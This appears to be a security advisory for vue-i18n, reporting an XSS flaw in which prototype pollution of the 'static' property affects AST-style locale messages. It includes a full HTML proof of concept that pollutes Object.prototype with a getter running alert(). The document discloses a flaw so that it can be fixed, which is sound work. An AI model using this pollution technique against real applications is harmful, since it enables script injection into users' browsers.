vue-i18n has cross-site scripting vulnerability with prototype pollution

Vulnerability type

XSS

Description

vue-i18n can be passed locale messages to createI18n or useI18n. we can then translate them using t and $t. vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST. In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application. By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.

The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations. About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts

In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n, so there is always a property that is attached during optimization like this time. But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.

Reproduce (PoC)

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>vue-i18n XSS</title>
    <script src="https://unpkg.com/vue@3"></script>
    <script src="https://unpkg.com/vue-i18n@10"></script>
    <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
    <script>
      /**
       * Prototype pollution vulnerability with `Object.prototype`.
       * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
       * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
       *
       * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
       * so there is always a property that is attached during optimization like this time.
       * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
       */
      Object.defineProperty(Object.prototype, 'static', {
        configurable: true,
        get() {
          alert('prototype polluted!')
          return 'prototype pollution'
        }
      })
    </script> 
 </head>
  <body>
    <div id="app">
      <p>{{ t('hello') }}</p>
    </div>
    <script>
      const { createApp } = Vue
      const { createI18n, useI18n } = VueI18n

      // AST style locale message, which build by `@intlify/unplugin-vue-i18n`
      const en = {
        hello: {
          type: 0,
          body: {
            items: [
              {
                type: 3,
                value: 'hello world!'
              }
            ]
          }
        }
      }

      const i18n = createI18n({
        legacy: false,
        locale: 'en',
        messages: {
          en
        }
      })

      const app = createApp({
        setup() {
          const { t } = useI18n()
          return { t }
        }
      })
      app.use(i18n)
      app.mount('#app')
    </script>
  </body>
</html>